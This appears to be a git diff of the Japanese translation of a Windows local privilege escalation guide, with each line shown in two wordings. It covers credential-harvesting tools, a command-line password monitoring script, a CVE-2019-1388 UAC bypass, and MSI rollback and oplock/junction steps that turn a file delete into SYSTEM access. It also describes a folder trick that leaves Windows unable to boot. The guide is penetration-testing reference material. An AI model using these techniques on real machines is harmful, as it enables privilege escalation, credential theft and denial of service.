/t REG_SZ /S /d ``` ### passwords を検索するツール -[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **is a msf** plugin。私はこのプラグインを作成しました。これはターゲット内で**automatically execute every metasploit POST module that searches for credentials**を実行します。\ -[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) はこのページで言及されているpasswordsを含むすべてのファイルを自動的に検索します。\ -[**Lazagne**](https://github.com/AlessandroZ/LaZagne) はシステムからpasswordを抽出するもう一つの優れたツールです。 +[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **is a msf** プラグイン。私はこのプラグインを、被害者内で **automatically execute every metasploit POST module that searches for credentials** するために作成しました。\ +[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) は、このページで言及されている passwords を含むすべてのファイルを自動的に検索します。\ +[**Lazagne**](https://github.com/AlessandroZ/LaZagne) はシステムから password を抽出するための優れたツールです。 -ツール[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) は、このデータをclear textで保存するいくつかのツール(PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP)の**sessions**, **usernames** および **passwords** を検索します。 +ツール [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) は、平文でこれらのデータを保存するいくつかのツール(PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP)の **sessions**, **usernames** and **passwords** を検索します。 ```bash Import-Module path\to\SessionGopher.ps1; Invoke-SessionGopher -Thorough @@ -1320,13 +1311,13 @@ Also the following tool allows to **intercept a named pipe communication with a ## その他 -### Windowsで実行される可能性のあるファイル拡張子 +### Windowsで実行可能なファイル拡張子 -Check out the page **[https://filesec.io/](https://filesec.io/)** +以下のページを参照してください **[https://filesec.io/](https://filesec.io/)** -### **Monitoring Command Lines for passwords** +### **コマンドライン上のパスワード監視** -When getting a shell as a user, there may be scheduled tasks or other processes being executed which **pass credentials on the command line**. The script below captures process command lines every two seconds and compares the current state with the previous state, outputting any differences. +ユーザーとしてシェルを得たとき、スケジュールされたタスクや他のプロセスが**コマンドライン上で資格情報を渡す**ことがある。以下のスクリプトはプロセスのコマンドラインを2秒ごとに取得し、現在の状態を前回の状態と比較して差分を出力する。 ```bash while($true) { @@ -1336,15 +1327,15 @@ $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine Compare-Object -ReferenceObject $process -DifferenceObject $process2 } ``` -## プロセスからのパスワード窃取 +## Stealing passwords from processes ## From Low Priv User to NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass -グラフィカルインターフェース (via console or RDP) にアクセスでき、UAC が有効な場合、いくつかの Microsoft Windows のバージョンでは、特権のないユーザーから "NT\AUTHORITY SYSTEM" のようなターミナルや他のプロセスを実行することが可能です。 +グラフィカルインターフェース(console or RDP 経由)にアクセスでき、UAC が有効になっている場合、いくつかの Microsoft Windows のバージョンでは、権限のないユーザーから "NT\AUTHORITY SYSTEM" のような terminal やその他のプロセスを実行することが可能です。 -これにより、同じ脆弱性を利用して同時に権限昇格と UAC のバイパスが可能になります。さらに、何もインストールする必要はなく、プロセス中に使用される binary は署名され Microsoft によって発行されています。 +これにより、同じ脆弱性を利用して権限昇格と UAC のバイパスを同時に行うことができます。さらに、何もインストールする必要はなく、プロセスで使用される binary は Microsoft によって署名・発行されています。 -影響を受けるシステムの一部は以下の通りです: +Some of the affected systems are the following: ``` SERVER ====== @@ -1366,7 +1357,7 @@ Windows 10 1607 14393 ** link OPENED AS SYSTEM ** Windows 10 1703 15063 link NOT opened Windows 10 1709 16299 link NOT opened ``` -To exploit this vulnerability, 以下の手順を実行する必要があります: +この脆弱性を悪用するには、次の手順を実行する必要があります: ``` 1) Right click on the HHUPD.EXE file and run it as Administrator. @@ -1384,150 +1375,154 @@ To exploit this vulnerability, 以下の手順を実行する必要がありま 8) Remember to cancel setup and the UAC prompt to return to your desktop. ``` -## From Administrator Medium to High Integrity Level / UAC Bypass +You have all the necessary files and information in the following GitHub repository: -Read this to **learn about Integrity Levels**: +https://github.com/jas502n/CVE-2019-1388 + +## 管理者のMediumからHigh Integrity Levelへの移行 / UACバイパス + +これを読んで、Integrity Levelsについて学んでください: {{#ref}} integrity-levels.md {{#endref}} -Then **read this to learn about UAC and UAC bypasses:** +次に、UACとUACバイパスについて学ぶにはこちらを読んでください: {{#ref}} ../authentication-credentials-uac-and-efs/uac-user-account-control.md {{#endref}} -## From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP +## 任意フォルダの削除/移動/名前変更からSYSTEM EoPへ -The technique described [**in this blog post**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) with a exploit code [**available here**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). +この手法は、このブログ記事[**in this blog post**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks)で説明されており、エクスプロイトコードは[**available here**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs)にあります。 -The attack basically consist of abusing the Windows Installer's rollback feature to replace legitimate files with malicious ones during the uninstallation process. For this the attacker needs to create a **malicious MSI installer** that will be used to hijack the `C:\Config.Msi` folder, which will later be used by he Windows Installer to store rollback files during the uninstallation of other MSI packages where the rollback files would have been modified to contain the malicious payload. +攻撃の基本は、Windows Installerのrollback機能を悪用して、アンインストール時に正当なファイルを悪意のあるファイルに置き換えることです。そのために攻撃者は`C:\Config.Msi`フォルダをハイジャックするための**malicious MSI installer**を作成する必要があります。Windows Installerは他のMSIパッケージのアンインストール時にrollbackファイルを保存するためにこのフォルダを使用し、そのrollbackファイルが悪意のあるペイロードを含むように改変されます。 -The summarized technique is the following: +手順を要約すると以下のとおりです: 1. **Stage 1 – Preparing for the Hijack (leave `C:\Config.Msi` empty)** - Step 1: Install the MSI -- Create an `.msi` that installs a harmless file (e.g., `dummy.txt`) in a writable folder (`TARGETDIR`). -- Mark the installer as **"UAC Compliant"**, so a **non-admin user** can run it. -- Keep a **handle** open to the file after install. +- Writableなフォルダ(`TARGETDIR`)に無害なファイル(例: `dummy.txt`)をインストールする`.msi`を作成します。 +- インストーラを**"UAC Compliant"**としてマークし、**非管理者ユーザ**が実行できるようにします。 +- インストール後にファイルへの**handle**を開いたままにします。 - Step 2: Begin Uninstall -- Uninstall the same `.msi`. -- The uninstall process starts moving files to `C:\Config.Msi` and renaming them to `.rbf` files (rollback backups). -- **Poll the open file handle** using `GetFinalPathNameByHandle` to detect when the file becomes `C:\Config.Msi\.rbf`. +- 同じ`.msi`をアンインストールします。 +- アンインストール処理はファイルを`C:\Config.Msi`に移動し、`.rbf`ファイルとしてリネームします(rollbackバックアップ)。 +- ファイルが`C:\Config.Msi\.rbf`になったことを検出するために、`GetFinalPathNameByHandle`を使って**開いているファイルハンドルをポーリング**します。 - Step 3: Custom Syncing -- The `.msi` includes a **custom uninstall action (`SyncOnRbfWritten`)** that: -- Signals when `.rbf` has been written. -- Then **waits** on another event before continuing the uninstall. +- `.msi`には**カスタムアンインストールアクション(`SyncOnRbfWritten`)**が含まれており: +- `.rbf`が書き込まれたときにシグナルを送ります。 +- その後、アンインストールの継続前に別のイベントを**待機**します。 - Step 4: Block Deletion of `.rbf` -- When signaled, **open the `.rbf` file** without `FILE_SHARE_DELETE` — this **prevents it from being deleted**. -- Then **signal back** so the uninstall can finish. -- Windows Installer fails to delete the `.rbf`, and because it can’t delete all contents, **`C:\Config.Msi` is not removed**. +- シグナルを受け取ったら、`FILE_SHARE_DELETE`なしで`.rbf`ファイルを**開きます** — これによりそのファイルの削除が**ブロックされます**。 +- その後、アンインストールを完了させるために**シグナルを返します**。 +- Windows Installerは`.rbf`を削除できず、フォルダ内の全ての内容を削除できないため、**`C:\Config.Msi`は削除されません**。 - Step 5: Manually Delete `.rbf` -- You (attacker) delete the `.rbf` file manually. -- Now **`C:\Config.Msi` is empty**, ready to be hijacked. +- 攻撃者は手動で`.rbf`ファイルを削除します。 +- これで**`C:\Config.Msi`が空**になり、ハイジャックの準備が整います。 -> At this point, **trigger the SYSTEM-level arbitrary folder delete vulnerability** to delete `C:\Config.Msi`. +> この時点で、`C:\Config.Msi`を削除するために**SYSTEM-level arbitrary folder delete vulnerability**をトリガーしてください。 2. **Stage 2 – Replacing Rollback Scripts with Malicious Ones** - Step 6: Recreate `C:\Config.Msi` with Weak ACLs -- Recreate the `C:\Config.Msi` folder yourself. -- Set **weak DACLs** (e.g., Everyone:F), and **keep a handle open** with `WRITE_DAC`. +- 自分で`C:\Config.Msi`フォルダを再作成します。 +- **弱いDACL**(例: Everyone:F)を設定し、`WRITE_DAC`付きでハンドルを開いたままにします。 - Step 7: Run Another Install -- Install the `.msi` again, with: -- `TARGETDIR`: Writable location. -- `ERROROUT`: A variable that triggers a forced failure. -- This install will be used to trigger **rollback** again, which reads `.rbs` and `.rbf`. +- もう一度`.msi`をインストールします。: +- `TARGETDIR`: 書き込み可能な場所。 +- `ERROROUT`: 強制的な失敗を引き起こす変数。 +- このインストールは再び**rollback**をトリガーするために使われ、`.rbs`と`.rbf`を読み込みます。 - Step 8: Monitor for `.rbs` -- Use `ReadDirectoryChangesW` to monitor `C:\Config.Msi` until a new `.rbs` appears. -- Capture its filename. +- `ReadDirectoryChangesW`を使って`C:\Config.Msi`を監視し、新しい`.rbs`が現れるまで待ちます。 +- そのファイル名をキャプチャします。 - Step 9: Sync Before Rollback -- The `.msi` contains a **custom install action (`SyncBeforeRollback`)** that: -- Signals an event when the `.rbs` is created. -- Then **waits** before continuing. +- `.msi`には**カスタムインストールアクション(`SyncBeforeRollback`)**が含まれており: +- `.rbs`が作成されたときにイベントをシグナルします。 +- その後、継続する前に**待機**します。 - Step 10: Reapply Weak ACL -- After receiving the `.rbs created` event: -- The Windows Installer **reapplies strong ACLs** to `C:\Config.Msi`. -- But since you still have a handle with `WRITE_DAC`, you can **reapply weak ACLs** again. +- `.rbs 作成`イベントを受け取った後: +- Windows Installerは`C:\Config.Msi`に**強いACLを再適用**します。 +- しかし、あなたはまだ`WRITE_DAC`付きのハンドルを持っているため、再度**弱いACLを再適用**できます。 -> ACLs are **only enforced on handle open**, so you can still write to the folder. +> ACLは**ハンドルを開いたときにのみ適用される**ので、フォルダへの書き込みは可能です。 - Step 11: Drop Fake `.rbs` and `.rbf` -- Overwrite the `.rbs` file with a **fake rollback script** that tells Windows to: -- Restore your `.rbf` file (malicious DLL) into a **privileged location** (e.g., `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`). -- Drop your fake `.rbf` containing a **malicious SYSTEM-level payload DLL**. +- `.rbs`ファイルを上書きして、Windowsに次のことを指示する**偽のrollback script**を置きます: +- あなたの`.rbf`(悪意のあるDLL)を**特権のある場所**(例: `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`)に復元するよう指示。 +- SYSTEMレベルのペイロードDLLを含む**偽の`.rbf`**を配置します。 - Step 12: Trigger the Rollback -- Signal the sync event so the installer resumes. -- A **type 19 custom action (`ErrorOut`)** is configured to **intentionally fail the install** at a known point. -- This causes **rollback to begin**. +- 同期イベントをシグナルしてインストーラを再開させます。 +- 既知のポイントで意図的にインストールを失敗させるように設定された**type 19 custom action(`ErrorOut`)**があります。 +- これにより**rollbackが開始**されます。 - Step 13: SYSTEM Installs Your DLL -- Windows Installer: -- Reads your malicious `.rbs`. -- Copies your `.rbf` DLL into the target location. -- You now have your **malicious DLL in a SYSTEM-loaded path**. +- Windows Installerは: +- あなたの悪意のある`.rbs`を読み込み、 +- あなたの`.rbf` DLLをターゲット場所にコピーします。 +- これで**SYSTEMがロードするパスに悪意のあるDLLが配置**されます。 - Final Step: Execute SYSTEM Code -- Run a trusted **auto-elevated binary** (e.g., `osk.exe`) that loads the DLL you hijacked. -- **Boom**: Your code is executed **as SYSTEM**. +- 信頼された**auto-elevated binary**(例: `osk.exe`)を実行し、ハイジャックしたDLLをロードさせます。 +- **Boom**: あなたのコードが**SYSTEMとして実行されます**。 -### From Arbitrary File Delete/Move/Rename to SYSTEM EoP +### 任意ファイルの削除/移動/名前変更からSYSTEM EoPへ -The main MSI rollback technique (the previous one) assumes you can delete an **entire folder** (e.g., `C:\Config.Msi`). But what if your vulnerability only allows **arbitrary file deletion** ? +メインのMSI rollback手法(前述)は、`C:\Config.Msi`のような**フォルダ全体を削除できる**ことを前提としています。しかし、脆弱性が**任意のファイル削除**しか許さない場合はどうでしょうか? -You could exploit **NTFS internals**: every folder has a hidden alternate data stream called: +NTFSの内部を悪用することができます:すべてのフォルダには次のような隠し代替データストリームがあります: ``` C:\SomeFolder::$INDEX_ALLOCATION ``` このストリームはフォルダの**インデックスメタデータ**を格納します。 -したがって、フォルダの**`::$INDEX_ALLOCATION`ストリームを削除すると**、NTFSはファイルシステムからフォルダ全体を**削除します**。 +したがって、フォルダの**`::$INDEX_ALLOCATION`ストリームを削除すると**、NTFSはファイルシステムからそのフォルダ全体を**削除します**。 -これには次のような標準のファイル削除APIを使用できます: +これを、次のような標準のファイル削除APIを使用して行うことができます: ```c DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION"); ``` -> *file* delete API を呼び出しているにもかかわらず、**フォルダ自体が削除されます**。 +> *ファイル* 削除 API を呼んでいるにもかかわらず、フォルダ自体が **削除される**。 -### Folder Contents Delete から SYSTEM EoP へ -もしあなたの primitive が任意のファイル/フォルダを削除できないが、攻撃者が制御するフォルダの *contents* の**削除を許可している**としたらどうしますか? +### フォルダの内容の削除からSYSTEM EoPへ +もしあなたの primitive が任意のファイル/フォルダを削除できないが、**攻撃者が制御するフォルダの *内容* の削除を許可する**場合はどうするか? -1. Step 1: おとりのフォルダとファイルをセットアップ +1. Step 1: ベイト用のフォルダとファイルをセットアップ - 作成: `C:\temp\folder1` - その中に: `C:\temp\folder1\file1.txt` -2. Step 2: `file1.txt` に **oplock** を配置 -- oplock は、特権プロセスが `file1.txt` を削除しようとするときに**実行を一時停止します**。 +2. Step 2: `file1.txt` に **oplock** を置く +- その oplock は、権限の高いプロセスが `file1.txt` を削除しようとしたときに **実行を一時停止** します。 ```c // pseudo-code RequestOplock("C:\\temp\\folder1\\file1.txt"); WaitForDeleteToTriggerOplock(); ``` -3. ステップ 3: SYSTEM プロセスをトリガーする(例:`SilentCleanup`) -- このプロセスはフォルダ(例:`%TEMP%`)をスキャンし、その内容を削除しようとします。 -- `file1.txt` に到達すると、**oplock がトリガーされ**、コールバックに制御が渡されます。 +3. ステップ 3: SYSTEM プロセスをトリガーする(例: `SilentCleanup`) +- このプロセスはフォルダ(例: `%TEMP%`)をスキャンし、その内容を削除しようとします。 +- `file1.txt` に到達すると、**oplock が作動する** と制御があなたの callback に渡されます。 -4. ステップ 4: oplock コールバック内 – 削除をリダイレクトする +4. ステップ 4: oplock callback 内で – 削除先をリダイレクトする -- オプション A: `file1.txt` を別の場所に移動する -- これは `folder1` を oplock を壊さずに空にします。 -- 直接 `file1.txt` を削除しないでください — それは oplock を早期に解放してしまいます。 +- Option A: `file1.txt` を別の場所に移動する +- これにより `folder1` を空にできます(oplock を壊さずに)。 +- `file1.txt` を直接削除しないでください — それは oplock を早期に解放してしまいます。 -- オプション B: `folder1` を **junction** に変換する: +- Option B: `folder1` を **junction** に変換する: ```bash # folder1 is now a junction to \RPC Control (non-filesystem namespace) mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control @@ -1537,68 +1532,68 @@ mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control # Make file1.txt point to a sensitive folder stream CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION") ``` -> これはフォルダのメタデータを格納する NTFS の内部ストリームを対象としています — これを削除するとフォルダ自体が削除されます。 +> これはフォルダのメタデータを格納するNTFSの内部ストリームを標的にしています — これを削除するとフォルダ自体が削除されます。 -5. Step 5: Release the oplock -- SYSTEM プロセスが継続して `file1.txt` を削除しようとします。 -- しかし今は junction + symlink のため、実際には次を削除しています: +5. ステップ5: oplock を解除する +- SYSTEM process は処理を続け `file1.txt` を削除しようとします。 +- しかし今や、junction + symlink のため、実際に削除されているのは: ``` C:\Config.Msi::$INDEX_ALLOCATION ``` -**Result**: `C:\Config.Msi` は SYSTEM によって削除される。 +**結果**: `C:\Config.Msi` は SYSTEM によって削除される。 -### Arbitrary Folder Create から Permanent DoS へ +### From Arbitrary Folder Create to Permanent DoS -そのようなプリミティブを悪用すると、たとえ **you can’t write files** や **set weak permissions** でも、**create an arbitrary folder as SYSTEM/admin** が可能になる。 +以下のプリミティブを悪用します: **create an arbitrary folder as SYSTEM/admin** — たとえ **you can’t write files** や **set weak permissions** の場合でも。 -例として、**critical Windows driver** の名前で**folder**(ファイルではなく)を作成する。例: +**フォルダ**(ファイルではなく)を **critical Windows driver** の名前で作成します。例: ``` C:\Windows\System32\cng.sys ``` -- このパスは通常 `cng.sys` のカーネルモードドライバに対応します。 -- もし **事前にフォルダとして作成しておくと**、Windowsは起動時に実際のドライバを読み込めません。 -- その後、Windowsは起動中に `cng.sys` を読み込もうとします。 -- フォルダを検出すると、**実際のドライバを解決できず**、**クラッシュまたは起動停止**します。 -- **代替手段はなく**、外部介入(例:ブート修復やディスクアクセス)なしでは**回復できません**。 +- このパスは通常 `cng.sys` カーネルモードドライバに対応します。 +- もしそれを **フォルダとして事前に作成しておくと**、Windowsは起動時に実際のドライバを読み込めません。 +- その後、Windowsは起動時に `cng.sys` を読み込もうとします。 +- フォルダを見つけ、**実際のドライバを解決できず**、**クラッシュするか起動が停止します**。 +- **フォールバックはなく**、外部の介入(例:ブート修復やディスクアクセス)なしには**回復できません**。 -## **High Integrity から System へ** +## **High Integrity から SYSTEM へ** ### **新しいサービス** -既に High Integrity プロセスで実行している場合、**SYSTEM へのパス**は**新しいサービスを作成して実行するだけで**簡単に得られることがあります: +既に High Integrity プロセスで実行中であれば、**SYSTEM へのパス**は**新しいサービスを作成して実行するだけで**簡単です: ``` sc create newservicename binPath= "C:\windows\system32\notepad.exe" sc start newservicename ``` > [!TIP] -> サービス用のバイナリを作成する際は、それが有効な service であるか、あるいは無効な service の場合でも必要な処理を速やかに行うことを確認してください。無効な service の場合は 20s で終了されます。 +> サービス用バイナリを作成する際は、それが有効なサービスであるか、またはバイナリが必要な動作を行うことを確認してください。そうでない場合は 20 秒で強制終了されます。 ### AlwaysInstallElevated -High Integrity プロセスから AlwaysInstallElevated レジストリ項目を有効にし、_**.msi**_ ラッパーを使って reverse shell をインストールすることができます。\ -[More information about the registry keys involved and how to install a _.msi_ package here.](#alwaysinstallelevated) +High Integrity のプロセスから、**AlwaysInstallElevated レジストリ エントリを有効化**して、_**.msi**_ ラッパーを使ってリバースシェルを**インストール**することを試みることができます。\ +[レジストリ キーに関する詳細と _.msi_ パッケージのインストール方法はこちら。](#alwaysinstallelevated) ### High + SeImpersonate privilege to System -**確認できます** [**find the code here**](seimpersonate-from-high-to-system.md)**.** +**できます** [**コードはこちら**](seimpersonate-from-high-to-system.md)**.** ### From SeDebug + SeImpersonate to Full Token privileges -これらの token 権限を持っている場合(おそらく既に High Integrity プロセス内で見つかるでしょう)、SeDebug 権限でほとんどのプロセス(保護されたプロセスを除く)を開き、そのプロセスの token をコピーして、その token で任意のプロセスを作成できます。\ -この手法では通常、token 権限をすべて持つ SYSTEM として動作しているプロセスを選択します(はい、すべての token 権限を持っていない SYSTEM プロセスも存在します)。\ -**例となるコードは** [**こちら**](sedebug-+-seimpersonate-copy-token.md)**で確認できます。** +これらの token 権限を持っている場合(おそらく既に High Integrity のプロセスで見つかるでしょう)、SeDebug 権限でほとんどのプロセス(protected なプロセスは除く)を**開き**、プロセスの **token をコピー**し、そのトークンで **任意のプロセスを作成**することができます。\ +この技術では通常 **すべての token 権限を持つ SYSTEM として動作しているプロセス**が選択されます(はい、すべての token 権限を持たない SYSTEM プロセスも見つかることがあります)。\ +**例として提案した技術を実行するコードは** [**ここにあります**](sedebug-+-seimpersonate-copy-token.md)**.** ### **Named Pipes** -この手法は meterpreter が `getsystem` を行う際に使用します。手法は「pipe を作成し、service を作成/悪用してその pipe に書き込ませる」ことです。すると、その pipe を作成した server は `SeImpersonate` 権限を使って pipe クライアント(service)の token を impersonate でき、SYSTEM 権限を得られます。\ -名前付きパイプについて詳しく学びたい場合は [**learn more about name pipes you should read this**](#named-pipe-client-impersonation) を読んでください。\ -High Integrity から System へ名前付きパイプを使って昇格する例を読みたい場合は [**how to go from high integrity to System using name pipes you should read this**](from-high-integrity-to-system-with-name-pipes.md) を参照してください。 +この手法は meterpreter が `getsystem` で権限昇格する際に使用します。手法は **パイプを作成し、そのパイプに書き込むためにサービスを作成/悪用**することにあります。次に、**SeImpersonate** 権限を使用してパイプを作成した **サーバー** は、パイプクライアント(サービス)の **トークンを偽装(impersonate)** でき、SYSTEM 権限を取得できます。\ +[**Named pipe について詳しく知りたい場合はこちらを読むべきです**](#named-pipe-client-impersonation)。\ +名前付きパイプを使って high integrity から System に移行する例を読みたい場合は [**こちらを読むべきです**](from-high-integrity-to-system-with-name-pipes.md)。 ### Dll Hijacking -もし SYSTEM として動作するプロセスによって読み込まれる dll をハイジャックできれば、その権限で arbitrary code を実行できます。したがって Dll Hijacking はこの種の権限昇格にも有用であり、さらに High Integrity プロセスから達成する方がはるかに容易です(dll を読み込むフォルダに対する書き込み権限を持っているため)。\ -**詳細は** [**learn more about Dll hijacking here**](dll-hijacking/index.html)**を参照してください。** +もし **SYSTEM として動作するプロセス**に **ロードされる dll をハイジャック**できれば、その権限で任意のコードを実行できます。したがって Dll Hijacking はこの種の権限昇格にも有用で、さらに high integrity プロセスから達成する方が**はるかに容易**です。なぜなら DLL をロードするフォルダに対して **書き込み権限** を持っているからです。\ +**詳細は** [**Dll hijacking についてはこちら**](dll-hijacking/index.html)**。** ### **From Administrator or Network Service to System** @@ -1608,7 +1603,7 @@ High Integrity から System へ名前付きパイプを使って昇格する例 ### From LOCAL SERVICE or NETWORK SERVICE to full privs -**参照:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers) +**Read:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers) ## More help @@ -1616,49 +1611,49 @@ High Integrity から System へ名前付きパイプを使って昇格する例 ## Useful tools -**Windows のローカル権限昇格ベクターを探す最良のツール:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +**Windows のローカル権限昇格ベクターを探すための最良のツール:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) **PS** [**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\ -[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- 誤設定や機密ファイルをチェック(**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)。検出済み。**\ -[**JAWS**](https://github.com/411Hall/JAWS) **-- いくつかの誤設定をチェックして情報を収集します(**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)。**\ -[**privesc** ](https://github.com/enjoiz/Privesc)**-- 誤設定をチェック**\ -[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- PuTTY, WinSCP, SuperPuTTY, FileZilla, および RDP の保存セッション情報を抽出します。ローカルで使用する場合は -Thorough を使ってください。**\ -[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Credential Manager から認証情報を抽出します。検出済み。**\ +[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- 設定ミスや機密ファイルをチェック(**[**ここを確認**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)。検出済み。**\ +[**JAWS**](https://github.com/411Hall/JAWS) **-- いくつかの可能な設定ミスをチェックし情報を収集(**[**ここを確認**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)。**\ +[**privesc** ](https://github.com/enjoiz/Privesc)**-- 設定ミスをチェック**\ +[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- PuTTY、WinSCP、SuperPuTTY、FileZilla、RDP の保存セッション情報を抽出します。ローカルでは -Thorough を使用してください。**\ +[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Credential Manager から資格情報を抽出します。検出済み。**\ [**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- 収集したパスワードをドメイン全体にスプレーします。**\ -[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh は PowerShell ベースの ADIDNS/LLMNR/mDNS/NBNS スプーファー兼 man-in-the-middle ツールです。**\ +[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- PowerShell ベースの ADIDNS/LLMNR/mDNS/NBNS スプーファ/MITM ツールです。**\ [**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- 基本的な Windows の権限昇格列挙ツール**\ -[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- 既知の権限昇格脆弱性を検索(Watson に置換され非推奨)\ +[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **~~ -- 既知の privesc 脆弱性を検索(Watson に対して非推奨)~~**\ [~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- ローカルチェック **(管理者権限が必要)** **Exe** -[**Watson**](https://github.com/rasta-mouse/Watson) -- 既知の権限昇格脆弱性を検索します(VisualStudio でコンパイルする必要があります) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ -[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- ホストを列挙して誤設定を探します(privesc より情報収集向け)(コンパイルが必要) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ -[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- 多数のソフトウェアから認証情報を抽出します(GitHub に precompiled exe)**\ -[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- PowerUp を C# に移植したもの**\ -[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- 誤設定をチェック(実行可能ファイルは GitHub にプリコンパイル済み)。推奨しません。Win10 ではあまり動作しません。\ -[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- 可能な誤設定をチェックします(python からの exe)。推奨しません。Win10 ではあまり動作しません。 +[**Watson**](https://github.com/rasta-mouse/Watson) -- 既知の privesc 脆弱性を検索(VisualStudio でのコンパイルが必要)([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ +[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- ホストを列挙して設定ミスを検索(privesc というより情報収集ツール)(コンパイルが必要)([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt))\ +[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- 多くのソフトウェアから資格情報を抽出します(GitHub に precompiled exe が存在)**\ +[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- PowerUp の C# ポート**\ +[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **~~ -- 設定ミスをチェック(実行ファイルは GitHub に precompiled)。推奨しません。Win10 ではあまりうまく動作しません。~~**\ +[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- 可能な設定ミスをチェック(Python からの exe)。推奨しません。Win10 ではあまりうまく動作しません。 **Bat** -[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- この投稿を元に作成されたツール(正しく動作するために accesschk は不要ですが、利用可能です)。 +[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- 本ポストに基づいて作成されたツール(accesschk がなくても正しく動作しますが、使用可能です)。 **Local** -[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- **systeminfo** の出力を読み、動作する exploit を推奨します(ローカル、python)\ -[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- **systeminfo** の出力を読み、動作する exploit を推奨します(ローカル、python) +[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- **systeminfo** の出力を読み、利用可能なエクスプロイトを推奨します(ローカル Python)\ +[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- **systeminfo** の出力を読み、利用可能なエクスプロイトを推奨します(ローカル Python) **Meterpreter** _multi/recon/local_exploit_suggestor_ -このプロジェクトは正しいバージョンの .NET を使ってコンパイルする必要があります([see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/))。ターゲットホストにインストールされている .NET のバージョンを確認するには次のようにしてください: +プロジェクトは正しいバージョンの .NET を使ってコンパイルする必要があります([こちらを参照](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/))。被害者ホストにインストールされている .NET のバージョンを確認するには、次のように実行できます: ``` C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line ``` -## 参考資料 +## 参考文献 - [http://www.fuzzysecurity.com/tutorials/16.html](http://www.fuzzysecurity.com/tutorials/16.html) - [http://www.greyhathacker.net/?p=738](http://www.greyhathacker.net/?p=738) diff --git a/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md b/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md index 8c36a5431..0f5b75756 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md +++ 